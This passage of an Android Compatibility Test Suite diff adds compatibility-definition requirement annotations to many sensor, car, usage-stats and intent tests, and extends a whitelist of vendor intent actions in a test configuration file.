+    @CddTest(requirement="7.3.9/C-3-1,C-3-2")
     public void testGyroscopeAshmemFast() {
         runSensorDirectReportTest(
                 Sensor.TYPE_GYROSCOPE,
@@ -240,6 +247,7 @@
                 SensorDirectChannel.RATE_FAST);
     }
 
+    @CddTest(requirement="7.3.9/C-3-1,C-3-2")
     public void testMagneticFieldAshmemFast() {
         runSensorDirectReportTest(
                 Sensor.TYPE_MAGNETIC_FIELD,
@@ -247,6 +255,7 @@
                 SensorDirectChannel.RATE_FAST);
     }
 
+    @CddTest(requirement="7.3.9/C-3-1,C-3-2")
     public void testAccelerometerAshmemVeryFast() {
         runSensorDirectReportTest(
                 Sensor.TYPE_ACCELEROMETER,
@@ -255,6 +264,7 @@
 
     }
 
+    @CddTest(requirement="7.3.9/C-3-1,C-3-2")
     public void testGyroscopeAshmemVeryFast() {
         runSensorDirectReportTest(
                 Sensor.TYPE_GYROSCOPE,
@@ -262,6 +272,7 @@
                 SensorDirectChannel.RATE_VERY_FAST);
     }
 
+    @CddTest(requirement="7.3.9/C-3-1,C-3-2")
     public void testMagneticFieldAshmemVeryFast() {
         runSensorDirectReportTest(
                 Sensor.TYPE_MAGNETIC_FIELD,
@@ -269,6 +280,7 @@
                 SensorDirectChannel.RATE_VERY_FAST);
     }
 
+    @CddTest(requirement="7.3.9/C-3-1,C-3-2")
     public void testAccelerometerHardwareBufferNormal() {
         runSensorDirectReportTest(
                 Sensor.TYPE_ACCELEROMETER,
@@ -276,6 +288,7 @@
                 SensorDirectChannel.RATE_NORMAL);
     }
 
+    @CddTest(requirement="7.3.9/C-3-1,C-3-2")
     public void testGyroscopeHardwareBufferNormal() {
         runSensorDirectReportTest(
                 Sensor.TYPE_GYROSCOPE,
@@ -283,6 +296,7 @@
                 SensorDirectChannel.RATE_NORMAL);
     }
 
+    @CddTest(requirement="7.3.9/C-3-1,C-3-2")
     public void testMagneticFieldHardwareBufferNormal() {
         runSensorDirectReportTest(
                 Sensor.TYPE_MAGNETIC_FIELD,
@@ -290,6 +304,7 @@
                 SensorDirectChannel.RATE_NORMAL);
     }
 
+    @CddTest(requirement="7.3.9/C-3-1,C-3-2")
     public void testAccelerometerHardwareBufferFast() {
         runSensorDirectReportTest(
                 Sensor.TYPE_ACCELEROMETER,
@@ -297,6 +312,7 @@
                 SensorDirectChannel.RATE_FAST);
     }
 
+    @CddTest(requirement="7.3.9/C-3-1,C-3-2")
     public void testGyroscopeHardwareBufferFast() {
         runSensorDirectReportTest(
                 Sensor.TYPE_GYROSCOPE,
@@ -304,6 +320,7 @@
                 SensorDirectChannel.RATE_FAST);
     }
 
+    @CddTest(requirement="7.3.9/C-3-1,C-3-2")
     public void testMagneticFieldHardwareBufferFast() {
         runSensorDirectReportTest(
                 Sensor.TYPE_MAGNETIC_FIELD,
@@ -311,6 +328,7 @@
                 SensorDirectChannel.RATE_FAST);
     }
 
+    @CddTest(requirement="7.3.9/C-3-1,C-3-2")
     public void testAccelerometerHardwareBufferVeryFast() {
         runSensorDirectReportTest(
                 Sensor.TYPE_ACCELEROMETER,
@@ -318,6 +336,7 @@
                 SensorDirectChannel.RATE_VERY_FAST);
     }
 
+    @CddTest(requirement="7.3.9/C-3-1,C-3-2")
     public void testGyroscopeHardwareBufferVeryFast() {
         runSensorDirectReportTest(
                 Sensor.TYPE_GYROSCOPE,
@@ -325,6 +344,7 @@
                 SensorDirectChannel.RATE_VERY_FAST);
     }
 
+    @CddTest(requirement="7.3.9/C-3-1,C-3-2")
     public void testMagneticFieldHardwareBufferVeryFast() {
         runSensorDirectReportTest(
                 Sensor.TYPE_MAGNETIC_FIELD,
diff --git a/tests/sensor/src/android/hardware/cts/SensorParameterRangeTest.java b/tests/sensor/src/android/hardware/cts/SensorParameterRangeTest.java
index 44135bc..fe8408f 100644
--- a/tests/sensor/src/android/hardware/cts/SensorParameterRangeTest.java
+++ b/tests/sensor/src/android/hardware/cts/SensorParameterRangeTest.java
@@ -23,6 +23,8 @@
 import android.hardware.cts.helpers.SensorCtsHelper;
 import android.text.TextUtils;
 
+import com.android.compatibility.common.util.CddTest;
+
 import java.util.ArrayList;
 import java.util.List;
 import java.util.concurrent.TimeUnit;
@@ -75,6 +77,7 @@
         mVrModeHighPerformance = pm.hasSystemFeature(PackageManager.FEATURE_VR_MODE_HIGH_PERFORMANCE);
     }
 
+    @CddTest(requirement="7.3.9/C-2-1,7.3/C-1-1")
     public void testAccelerometerRange() {
         checkSensorRangeAndFrequency(
                 mSensorManager.getDefaultSensor(Sensor.TYPE_ACCELEROMETER),
@@ -83,6 +86,7 @@
                 ACCELEROMETER_MAX_FREQUENCY);
   }
 
+   @CddTest(requirement="7.3.9/C-2-3,7.3/C-1-1")
   public void testGyroscopeRange() {
         checkSensorRangeAndFrequency(
                 mSensorManager.getDefaultSensor(Sensor.TYPE_GYROSCOPE),
@@ -91,7 +95,8 @@
                 GYRO_MAX_FREQUENCY);
   }
 
-    public void testMagnetometerRange() {
+   @CddTest(requirement="7.3.9/C-2-5,7.3/C-1-1")
+   public void testMagnetometerRange() {
         checkSensorRangeAndFrequency(
                 mSensorManager.getDefaultSensor(Sensor.TYPE_MAGNETIC_FIELD),
                 MAGNETOMETER_MAX_RANGE,
@@ -99,6 +104,7 @@
                 MAGNETOMETER_MAX_FREQUENCY);
     }
 
+    @CddTest(requirement="7.3.9/C-2-7,7.3/C-1-1")
     public void testPressureRange() {
         if (mHasHifiSensors) {
             checkSensorRangeAndFrequency(
@@ -129,11 +135,13 @@
                 maxFrequency - 0.1);
     }
 
+    @CddTest(requirement="7.3.9/C-2-1")
     public void testAccelerometerFifoLength() throws Throwable {
         if (!mHasHifiSensors) return;
         checkMinFifoLength(Sensor.TYPE_ACCELEROMETER, ACCELEROMETER_MIN_FIFO_LENGTH);
     }
 
+    @CddTest(requirement="7.3.9/C-2-6")
     public void testUncalMagnetometerFifoLength() throws Throwable {
         if (!mHasHifiSensors) return;
         checkMinFifoLength(
@@ -141,21 +149,25 @@
                 UNCAL_MAGNETOMETER_MIN_FIFO_LENGTH);
     }
 
+    @CddTest(requirement="7.3.9/C-2-7")
     public void testPressureFifoLength() throws Throwable {
         if (!mHasHifiSensors) return;
         checkMinFifoLength(Sensor.TYPE_PRESSURE, PRESSURE_MIN_FIFO_LENGTH);
     }
 
+    @CddTest(requirement="7.3.9/C-2-8")
     public void testGameRotationVectorFifoLength() throws Throwable {
         if (!mHasHifiSensors) return;
         checkMinFifoLength(Sensor.TYPE_GAME_ROTATION_VECTOR, GAME_ROTATION_VECTOR_MIN_FIFO_LENGTH);
     }
 
+    @CddTest(requirement="7.3.9/C-2-17")
     public void testProximityFifoLength() throws Throwable {
         if (!mHasHifiSensors) return;
         checkMinFifoLength(Sensor.TYPE_PROXIMITY, PROXIMITY_SENSOR_MIN_FIFO_LENGTH);
     }
 
+    @CddTest(requirement="7.3.9/C-2-10")
     public void testStepDetectorFifoLength() throws Throwable {
         if (!mHasHifiSensors) return;
         checkMinFifoLength(Sensor.TYPE_STEP_DETECTOR, STEP_DETECTOR_MIN_FIFO_LENGTH);
diff --git a/tests/sensor/src/android/hardware/cts/SensorTest.java b/tests/sensor/src/android/hardware/cts/SensorTest.java
index 11ead36..f62bb7a 100644
--- a/tests/sensor/src/android/hardware/cts/SensorTest.java
+++ b/tests/sensor/src/android/hardware/cts/SensorTest.java
@@ -45,6 +45,8 @@
 import android.platform.test.annotations.Presubmit;
 import android.util.Log;
 
+import com.android.compatibility.common.util.CddTest;
+
 import java.util.ArrayList;
 import java.util.List;
 import java.util.Random;
@@ -115,6 +117,7 @@
         }
     }
 
+    @CddTest(requirement="7.3/C-0-1,7.3.1/C-1-2,7.3.2/C-1-1")
     @SuppressWarnings("deprecation")
     public void testSensorOperations() {
         // Because we can't know every sensors unit details, so we can't assert
@@ -260,6 +263,7 @@
         }
     }
 
+    @CddTest(requirement="7.3/C-0-3")
     public void testRequestTriggerWithNonTriggerSensor() {
         mTriggerSensor = mSensorManager.getDefaultSensor(Sensor.TYPE_ACCELEROMETER);
         if (mTriggerSensor == null) {
@@ -270,6 +274,7 @@
         assertFalse(result);
     }
 
+    @CddTest(requirement="7.3/C-0-3")
     public void testCancelTriggerWithNonTriggerSensor() {
         mTriggerSensor = mSensorManager.getDefaultSensor(Sensor.TYPE_ACCELEROMETER);
         if (mTriggerSensor == null) {
@@ -280,6 +285,7 @@
         assertFalse(result);
     }
 
+    @CddTest(requirement="7.3/C-0-3")
     public void testRegisterWithTriggerSensor() {
         Sensor sensor = mSensorManager.getDefaultSensor(Sensor.TYPE_SIGNIFICANT_MOTION);
         if (sensor == null) {
diff --git a/tests/sensor/src/android/hardware/cts/SingleSensorTests.java b/tests/sensor/src/android/hardware/cts/SingleSensorTests.java
index a626957..17f73c6 100644
--- a/tests/sensor/src/android/hardware/cts/SingleSensorTests.java
+++ b/tests/sensor/src/android/hardware/cts/SingleSensorTests.java
@@ -25,6 +25,8 @@
 import android.hardware.cts.helpers.sensoroperations.TestSensorOperation;
 import android.content.pm.PackageManager;
 
+import com.android.compatibility.common.util.CddTest;
+
 import java.util.HashMap;
 import java.util.Map;
 import java.util.Map.Entry;
@@ -150,6 +152,7 @@
         runSensorTest(Sensor.TYPE_ACCELEROMETER, RATE_100HZ);
     }
 
+    @CddTest(requirement="7.3.1/C-1-1,C-1-2,C-1-3,C-1-6,7.3/C-1-7")
     public void testAccelerometer_50hz() throws Throwable {
         runSensorTest(Sensor.TYPE_ACCELEROMETER, RATE_50HZ);
     }
@@ -234,14 +237,17 @@
         runSensorTest(Sensor.TYPE_MAGNETIC_FIELD, RATE_15HZ);
     }
 
+    @CddTest(requirement="7.3.2/C-1-1,C-1-2,C-1-3,C-1-9,7.3/C-1-7")
     public void testMagneticField_10hz() throws Throwable {
         runSensorTest(Sensor.TYPE_MAGNETIC_FIELD, RATE_10HZ);
     }
 
+    @CddTest(requirement="7.3.2/C-1-1,C-1-3,7.3/C-1-2")
     public void testMagneticField_5hz() throws Throwable {
         runSensorTest(Sensor.TYPE_MAGNETIC_FIELD, RATE_5HZ);
     }
 
+    @CddTest(requirement="7.3.2/C-1-1,C-1-3,7.3/C-1-2,7.3/C-1-7")
     public void testMagneticField_1hz() throws Throwable {
         runSensorTest(Sensor.TYPE_MAGNETIC_FIELD, RATE_1HZ);
     }
@@ -302,6 +308,7 @@
         runSensorTest(Sensor.TYPE_GYROSCOPE, RATE_100HZ);
     }
 
+    @CddTest(requirement="7.3.4/C-1-1,C-1-7,7.3/C-1-7")
     public void testGyroscope_50hz() throws Throwable {
         runSensorTest(Sensor.TYPE_GYROSCOPE, RATE_50HZ);
     }
@@ -322,6 +329,7 @@
         runSensorTest(Sensor.TYPE_GYROSCOPE, RATE_5HZ);
     }
 
+    @CddTest(requirement="7.3.4/C-1-2,C-1-7,7.3/C-1-7")
     public void testGyroscope_1hz() throws Throwable {
         runSensorTest(Sensor.TYPE_GYROSCOPE, RATE_1HZ);
     }
@@ -354,6 +362,7 @@
         runSensorTest(Sensor.TYPE_PRESSURE, RATE_10HZ);
     }
 
+    @CddTest(requirement="7.3.5/C-1-1,C-1-2,7.3/C-1-7,C-1-2")
     public void testPressure_5hz() throws Throwable {
         runSensorTest(Sensor.TYPE_PRESSURE, RATE_5HZ);
     }
@@ -362,6 +371,7 @@
         runSensorTest(Sensor.TYPE_PRESSURE, RATE_1HZ);
     }
 
+    @CddTest(requirement="7.3.1/C-3-1")
     public void testGravity_fastest() throws Throwable {
         runSensorTest(Sensor.TYPE_GRAVITY, SensorManager.SENSOR_DELAY_FASTEST);
     }
@@ -378,26 +388,32 @@
         runSensorTest(Sensor.TYPE_GRAVITY, RATE_50HZ);
     }
 
+    @CddTest(requirement="7.3.1/C-3-1")
     public void testGravity_25hz() throws Throwable {
         runSensorTest(Sensor.TYPE_GRAVITY, RATE_25HZ);
     }
 
+    @CddTest(requirement="7.3.1/C-3-1")
     public void testGravity_15hz() throws Throwable {
         runSensorTest(Sensor.TYPE_GRAVITY, RATE_15HZ);
     }
 
+    @CddTest(requirement="7.3.1/C-3-1")
     public void testGravity_10hz() throws Throwable {
         runSensorTest(Sensor.TYPE_GRAVITY, RATE_10HZ);
     }
 
+    @CddTest(requirement="7.3.1/C-3-1")
     public void testGravity_5hz() throws Throwable {
         runSensorTest(Sensor.TYPE_GRAVITY, RATE_5HZ);
     }
 
+    @CddTest(requirement="7.3.1/C-3-1")
     public void testGravity_1hz() throws Throwable {
         runSensorTest(Sensor.TYPE_GRAVITY, RATE_1HZ);
     }
 
+    @CddTest(requirement="7.3.1/C-4-1,7.3.2/C-2-1")
     public void testRotationVector_fastest() throws Throwable {
         runSensorTest(Sensor.TYPE_ROTATION_VECTOR, SensorManager.SENSOR_DELAY_FASTEST);
     }
@@ -410,6 +426,7 @@
         runSensorTest(Sensor.TYPE_ROTATION_VECTOR, RATE_100HZ);
     }
 
+    @CddTest(requirement="7.3.1/C-4-1")
     public void testRotationVector_50hz() throws Throwable {
         runSensorTest(Sensor.TYPE_ROTATION_VECTOR, RATE_50HZ);
     }
@@ -422,14 +439,17 @@
         runSensorTest(Sensor.TYPE_ROTATION_VECTOR, RATE_15HZ);
     }
 
+    @CddTest(requirement="7.3.1/C-4-1,7.3.2/C-2-1")
     public void testRotationVector_10hz() throws Throwable {
         runSensorTest(Sensor.TYPE_ROTATION_VECTOR, RATE_10HZ);
     }
 
+    @CddTest(requirement="7.3.1/C-4-1,7.3.2/C-2-1")
     public void testRotationVector_5hz() throws Throwable {
         runSensorTest(Sensor.TYPE_ROTATION_VECTOR, RATE_5HZ);
     }
 
+    @CddTest(requirement="7.3.1/C-4-1,7.3.2/C-2-1")
     public void testRotationVector_1hz() throws Throwable {
         runSensorTest(Sensor.TYPE_ROTATION_VECTOR, RATE_1HZ);
     }
@@ -498,14 +518,17 @@
         runSensorTest(Sensor.TYPE_GAME_ROTATION_VECTOR, RATE_10HZ);
     }
 
+    @CddTest(requirement="7.3/C-2-1")
     public void testGameRotationVector_5hz() throws Throwable {
         runSensorTest(Sensor.TYPE_GAME_ROTATION_VECTOR, RATE_5HZ);
     }
 
+    @CddTest(requirement="7.3/C-2-1")
     public void testGameRotationVector_1hz() throws Throwable {
         runSensorTest(Sensor.TYPE_GAME_ROTATION_VECTOR, RATE_1HZ);
     }
 
+    @CddTest(requirement="7.3/C-2-1")
     public void testGyroscopeUncalibrated_fastest() throws Throwable {
         runSensorTest(Sensor.TYPE_GYROSCOPE_UNCALIBRATED, SensorManager.SENSOR_DELAY_FASTEST);
     }
@@ -518,6 +541,7 @@
         runSensorTest(Sensor.TYPE_GYROSCOPE_UNCALIBRATED, RATE_100HZ);
     }
 
+    @CddTest(requirement="7.3/C-2-1")
     public void testGyroscopeUncalibrated_50hz() throws Throwable {
         runSensorTest(Sensor.TYPE_GYROSCOPE_UNCALIBRATED, RATE_50HZ);
     }
@@ -530,14 +554,17 @@
         runSensorTest(Sensor.TYPE_GYROSCOPE_UNCALIBRATED, RATE_15HZ);
     }
 
+    @CddTest(requirement="7.3/C-2-1")
     public void testGyroscopeUncalibrated_10hz() throws Throwable {
         runSensorTest(Sensor.TYPE_GYROSCOPE_UNCALIBRATED, RATE_10HZ);
     }
 
+    @CddTest(requirement="7.3/C-2-1")
     public void testGyroscopeUncalibrated_5hz() throws Throwable {
         runSensorTest(Sensor.TYPE_GYROSCOPE_UNCALIBRATED, RATE_5HZ);
     }
 
+    @CddTest(requirement="7.3/C-2-1")
     public void testGyroscopeUncalibrated_1hz() throws Throwable {
         runSensorTest(Sensor.TYPE_GYROSCOPE_UNCALIBRATED, RATE_1HZ);
     }
@@ -554,26 +581,32 @@
         runSensorTest(Sensor.TYPE_LINEAR_ACCELERATION, RATE_100HZ);
     }
 
+     @CddTest(requirement="7.3.1/C-3-1")
     public void testLinearAcceleration_50hz() throws Throwable {
         runSensorTest(Sensor.TYPE_LINEAR_ACCELERATION, RATE_50HZ);
     }
 
+    @CddTest(requirement="7.3.1/C-3-1")
     public void testLinearAcceleration_25hz() throws Throwable {
         runSensorTest(Sensor.TYPE_LINEAR_ACCELERATION, RATE_25HZ);
     }
 
+     @CddTest(requirement="7.3.1/C-3-1")
     public void testLinearAcceleration_15hz() throws Throwable {
         runSensorTest(Sensor.TYPE_LINEAR_ACCELERATION, RATE_15HZ);
     }
 
+    @CddTest(requirement="7.3.1/C-3-1")
     public void testLinearAcceleration_10hz() throws Throwable {
         runSensorTest(Sensor.TYPE_LINEAR_ACCELERATION, RATE_10HZ);
     }
 
+    @CddTest(requirement="7.3.1/C-3-1")
     public void testLinearAcceleration_5hz() throws Throwable {
         runSensorTest(Sensor.TYPE_LINEAR_ACCELERATION, RATE_5HZ);
     }
 
+    @CddTest(requirement="7.3.1/C-3-1")
     public void testLinearAcceleration_1hz() throws Throwable {
         runSensorTest(Sensor.TYPE_LINEAR_ACCELERATION, RATE_1HZ);
     }
diff --git a/tests/signature/intent-check/DynamicConfig.xml b/tests/signature/intent-check/DynamicConfig.xml
index 5f0fcac..c4d311d 100644
--- a/tests/signature/intent-check/DynamicConfig.xml
+++ b/tests/signature/intent-check/DynamicConfig.xml
@@ -19,6 +19,54 @@
     Bug: 36977779 android.intent.action.MASTER_CLEAR
     Bug: 38182465 android.intent.action.ACTION_DEFAULT_SMS_SUBSCRIPTION_CHANGED
     Bug: 70315695 android.intent.action.HDMI_PLUGGED
+    Bug: 115848568 android.intent.action.ACTION_AIRPLANE_MODE_CHANGED
+         Will be removed after v17 of CS.apk is released.
+    Bug: 114804753 android.intent.action.DISMISS_TIMER (public in API 28)
+    Bug: 117590943 android.intent.action.View
+         Fixed in GMSCore v14.7.68.
+    Bug: 67109014
+    android.intent.action.EMERGENCY_STATE_CHANGED
+    android.intent.action.USER_ADDED
+    android.intent.action.OMADM_BROWSER_SET_HOMEPAGE
+    android.intent.action.OMADM_BROWSER_GET_HOMEPAGE
+    android.intent.action.CSC_BROWSER_SET_HOMEPAGE
+    android.intent.action.CSC_BROWSER_SET_SEARCH_ENGINE
+    android.intent.action.STK_BROWSER_GET_HOMEPAGE2
+    android.intent.action.SBROWSER_QR_SCAN_RESULT
+    android.intent.action.BCS_REQUEST
+    android.intent.action.STK_BROWSER_GET_HOMEPAGE
+    android.intent.action.SBROWSER_VIEW_FOR_EXTERNAL_APP
+    android.intent.action.CHAMELEON_BROWSER_SET_HOMEPAGE
+    android.intent.action.USER_ADDED
+    android.intent.action.PEDOMETER_SETTING_SYNC
+    android.intent.action.OMADM_BROWSER_SET_HOMEPAGE
+    android.intent.action.OMADM_BROWSER_GET_HOMEPAGE
+    android.intent.action.CSC_BROWSER_SET_HOMEPAGE
+    android.intent.action.CSC_BROWSER_SET_SEARCH_ENGINE
+    android.intent.action.STK_BROWSER_GET_HOMEPAGE2
+    android.intent.action.SBROWSER_QR_SCAN_RESULT
+    android.intent.action.BCS_REQUEST
+    android.intent.action.STK_BROWSER_GET_HOMEPAGE
+    android.intent.action.SBROWSER_VIEW_FOR_EXTERNAL_APP
+    android.intent.action.CHAMELEON_BROWSER_SET_HOMEPAGE
+    android.intent.action.STOP_NETWORK_BOOSTER
+    android.intent.action.START_NETWORK_BOOSTER
+    android.intent.action.BADGE_COUNT_UPDATE
+        All of them(except BADGE_COUNT_UPDATE) will be fixed on P.
+    Bug: Honeywell com.redbend.app bug:
+    android.intent.action.SyncSWVersion
+    android.intent.action.ActionRadioReset
+    android.intent.action.ActionMbbNoOptIn
+    android.intent.action.ActionStartEmergencyCallEnd
+    android.intent.action.ActionHfaSmfResult
+    android.intent.action.ActionStartEmergencyCall
+    android.intent.action.ActionSetMbbMaintWindow
+    android.intent.action.ActionStartCISession
+    android.intent.action.TEST
+    android.intent.action.ActionSetMbbInterval
+    android.intent.action.REGISTER_HFA
+    android.intent.action.ActionHfaReminder
+        Fixed in Honeywell's release build at Nov 25.
 -->
 <dynamicConfig>
     <entry key ="intent_whitelist">
@@ -26,5 +74,47 @@
       <value>android.intent.action.QUICKBOOT_POWERON</value>
       <value>android.intent.action.ACTION_DEFAULT_SMS_SUBSCRIPTION_CHANGED</value>
       <value>android.intent.action.HDMI_PLUGGED</value>
+      <value>android.intent.action.ACTION_AIRPLANE_MODE_CHANGED</value>
+      <value>android.intent.action.DISMISS_TIMER</value>
+      <value>android.intent.action.View</value>
+      <value>android.intent.action.EMERGENCY_STATE_CHANGED</value>
+      <value>android.intent.action.USER_ADDED</value>
+      <value>android.intent.action.OMADM_BROWSER_SET_HOMEPAGE</value>
+      <value>android.intent.action.OMADM_BROWSER_GET_HOMEPAGE</value>
+      <value>android.intent.action.CSC_BROWSER_SET_HOMEPAGE</value>
+      <value>android.intent.action.CSC_BROWSER_SET_SEARCH_ENGINE</value>
+      <value>android.intent.action.STK_BROWSER_GET_HOMEPAGE2</value>
+      <value>android.intent.action.SBROWSER_QR_SCAN_RESULT</value>
+      <value>android.intent.action.BCS_REQUEST</value>
+      <value>android.intent.action.STK_BROWSER_GET_HOMEPAGE</value>
+      <value>android.intent.action.SBROWSER_VIEW_FOR_EXTERNAL_APP</value>
+      <value>android.intent.action.CHAMELEON_BROWSER_SET_HOMEPAGE</value>
+      <value>android.intent.action.USER_ADDED</value>
+      <value>android.intent.action.PEDOMETER_SETTING_SYNC</value>
+      <value>android.intent.action.OMADM_BROWSER_SET_HOMEPAGE</value>
+      <value>android.intent.action.OMADM_BROWSER_GET_HOMEPAGE</value>
+      <value>android.intent.action.CSC_BROWSER_SET_HOMEPAGE</value>
+      <value>android.intent.action.CSC_BROWSER_SET_SEARCH_ENGINE</value>
+      <value>android.intent.action.STK_BROWSER_GET_HOMEPAGE2</value>
+      <value>android.intent.action.SBROWSER_QR_SCAN_RESULT</value>
+      <value>android.intent.action.BCS_REQUEST</value>
+      <value>android.intent.action.STK_BROWSER_GET_HOMEPAGE</value>
+      <value>android.intent.action.SBROWSER_VIEW_FOR_EXTERNAL_APP</value>
+      <value>android.intent.action.CHAMELEON_BROWSER_SET_HOMEPAGE</value>
+      <value>android.intent.action.STOP_NETWORK_BOOSTER</value>
+      <value>android.intent.action.START_NETWORK_BOOSTER</value>
+      <value>android.intent.action.BADGE_COUNT_UPDATE</value>
+      <value>android.intent.action.SyncSWVersion</value>
+      <value>android.intent.action.ActionRadioReset</value>
+      <value>android.intent.action.ActionMbbNoOptIn</value>
+      <value>android.intent.action.ActionStartEmergencyCallEnd</value>
+      <value>android.intent.action.ActionHfaSmfResult</value>
+      <value>android.intent.action.ActionStartEmergencyCall</value>
+      <value>android.intent.action.ActionSetMbbMaintWindow</value>
+      <value>android.intent.action.ActionStartCISession</value>
+      <value>android.intent.action.TEST</value>
+      <value>android.intent.action.ActionSetMbbInterval</value>
+      <value>android.intent.action.REGISTER_HFA</value>
+      <value>android.intent.action.ActionHfaReminder</value>
     </entry>
 </dynamicConfig>
diff --git a/tests/tests/app.usage/Android.mk b/tests/tests/app.usage/Android.mk
index dbef83c..f8a8092 100644
--- a/tests/tests/app.usage/Android.mk
+++ b/tests/tests/app.usage/Android.mk
@@ -29,7 +29,8 @@
     ctstestrunner \
     junit \
     legacy-android-test \
-    ub-uiautomator
+    ub-uiautomator \
+    compatibility-device-util
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java b/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
index ddc59b3..a1b5a71 100644
--- a/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
+++ b/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
@@ -31,6 +31,8 @@
 import android.test.InstrumentationTestCase;
 import android.util.SparseLongArray;
 
+import com.android.compatibility.common.util.CddTest;
+
 import junit.framework.AssertionFailedError;
 
 import org.junit.Ignore;
@@ -55,6 +57,7 @@
  *   along with the new time.
  * - Proper eviction of old data.
  */
+@CddTest(requirement="9.8.1/C-1-1")
 public class UsageStatsTest extends InstrumentationTestCase {
     private static final String APPOPS_SET_SHELL_COMMAND = "appops set {0} " +
             AppOpsManager.OPSTR_GET_USAGE_STATS + " {1}";
diff --git a/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTest.java b/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTest.java
index 747a8bd..894e814 100644
--- a/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTest.java
+++ b/tests/tests/appwidget/src/android/appwidget/cts/AppWidgetTest.java
@@ -295,12 +295,12 @@
             inOrder.verify(callbacks).onUpdate(any(Context.class),
                     any(AppWidgetManager.class), eq(new int[] {firstAppWidgetId}));
             inOrder.verify(callbacks).onAppWidgetOptionsChanged(any(Context.class),
-                    any(AppWidgetManager.class), same(firstAppWidgetId), argThat(
+                    any(AppWidgetManager.class), eq(firstAppWidgetId), argThat(
                             new OptionsMatcher(firstOptions)));
             inOrder.verify(callbacks).onUpdate(any(Context.class),
                     any(AppWidgetManager.class), eq(new int[] {secondAppWidgetId}));
             inOrder.verify(callbacks).onAppWidgetOptionsChanged(any(Context.class),
-                    any(AppWidgetManager.class), same(secondAppWidgetId), argThat(
+                    any(AppWidgetManager.class), eq(secondAppWidgetId), argThat(
                             new OptionsMatcher(secondOptions)));
             inOrder.verify(callbacks).onDeleted(any(Context.class),
                     argThat(new WidgetIdsMatcher(new int[]{firstAppWidgetId})));
diff --git a/tests/tests/background/src/android/app/cts/backgroundrestrictions/BroadcastsTest.java b/tests/tests/background/src/android/app/cts/backgroundrestrictions/BroadcastsTest.java
index 3a8b43f..1a033f7 100644
--- a/tests/tests/background/src/android/app/cts/backgroundrestrictions/BroadcastsTest.java
+++ b/tests/tests/background/src/android/app/cts/backgroundrestrictions/BroadcastsTest.java
@@ -55,7 +55,7 @@
      * receiver.
      */
     @Test
-    @CddTest(requirement="3.5/C-0-6")
+    @CddTest(requirement="3.5/C-0-6,3.2.3.4/C-0-1")
     public void testNonSupportedBroadcastsNotDelivered_runtimeReceiver() throws Exception {
 
         // Need a reference here to initialize it in a lambda.
@@ -82,7 +82,7 @@
      * receiver, even if an intent is targeted to the component.
      */
     @Test
-    @CddTest(requirement="3.5/C-0-6")
+    @CddTest(requirement="3.5/C-0-6,3.2.3.4/C-0-1")
     public void testNonSupportedBroadcastsNotDelivered_manifestReceiver() throws Exception {
         // Need a reference here to initialize it in a lambda.
         final AtomicReference<BroadcastReceiver> receiverRef = new AtomicReference<>();
diff --git a/tests/tests/car/Android.mk b/tests/tests/car/Android.mk
index db12143..82fbe7c 100644
--- a/tests/tests/car/Android.mk
+++ b/tests/tests/car/Android.mk
@@ -24,7 +24,7 @@
 # When built, explicitly put it in the data partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test legacy-android-test
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test legacy-android-test compatibility-device-util
 
 LOCAL_JAVA_LIBRARIES := android.car
 
diff --git a/tests/tests/car/src/android/car/cts/CarAppFocusManagerTest.java b/tests/tests/car/src/android/car/cts/CarAppFocusManagerTest.java
index d9f144c..444e228 100644
--- a/tests/tests/car/src/android/car/cts/CarAppFocusManagerTest.java
+++ b/tests/tests/car/src/android/car/cts/CarAppFocusManagerTest.java
@@ -25,12 +25,15 @@
 import android.test.suitebuilder.annotation.SmallTest;
 import android.util.Log;
 
+import com.android.compatibility.common.util.CddTest;
+
 import java.util.concurrent.Semaphore;
 import java.util.concurrent.TimeUnit;
 
 import org.junit.Assert;
 
 
+@CddTest(requirement="2.5.3/A-0-3")
 @SmallTest
 @RequiresDevice
 public class CarAppFocusManagerTest extends CarApiTestBase {
diff --git a/tests/tests/car/src/android/car/cts/CarInfoManagerTest.java b/tests/tests/car/src/android/car/cts/CarInfoManagerTest.java
index e9de083..b713cb8 100644
--- a/tests/tests/car/src/android/car/cts/CarInfoManagerTest.java
+++ b/tests/tests/car/src/android/car/cts/CarInfoManagerTest.java
@@ -21,7 +21,10 @@
 import android.platform.test.annotations.RequiresDevice;
 import android.test.suitebuilder.annotation.SmallTest;
 
+import com.android.compatibility.common.util.CddTest;
 
+
+@CddTest(requirement="2.5.3/A-0-3")
 @SmallTest
 @RequiresDevice
 public class CarInfoManagerTest extends CarApiTestBase {
diff --git a/tests/tests/car/src/android/car/cts/CarTest.java b/tests/tests/car/src/android/car/cts/CarTest.java
index 61b16bb..d215c72 100644
--- a/tests/tests/car/src/android/car/cts/CarTest.java
+++ b/tests/tests/car/src/android/car/cts/CarTest.java
@@ -23,10 +23,13 @@
 import android.test.AndroidTestCase;
 import android.test.suitebuilder.annotation.SmallTest;
 
+import com.android.compatibility.common.util.CddTest;
+
 import java.util.concurrent.Semaphore;
 import java.util.concurrent.TimeUnit;
 
 
+@CddTest(requirement="2.5.3/A-0-3")
 @SmallTest
 @RequiresDevice
 public class CarTest extends AndroidTestCase {
diff --git a/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java b/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
index 3a016bc..989b84f 100644
--- a/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
+++ b/tests/tests/content/src/android/content/cts/AvailableIntentsTest.java
@@ -32,6 +32,7 @@
 import android.telecom.TelecomManager;
 import android.test.AndroidTestCase;
 
+import com.android.compatibility.common.util.CddTest;
 import com.android.compatibility.common.util.FeatureUtil;
 
 import java.util.List;
@@ -73,6 +74,7 @@
      * Test ACTION_VIEW when url is http://web_address,
      * it will open a browser window to the URL specified.
      */
+    @CddTest(requirement="3.2.3.1/C-0-1")
     public void testViewNormalUrl() {
         Uri uri = Uri.parse(NORMAL_URL);
         Intent intent = new Intent(Intent.ACTION_VIEW, uri);
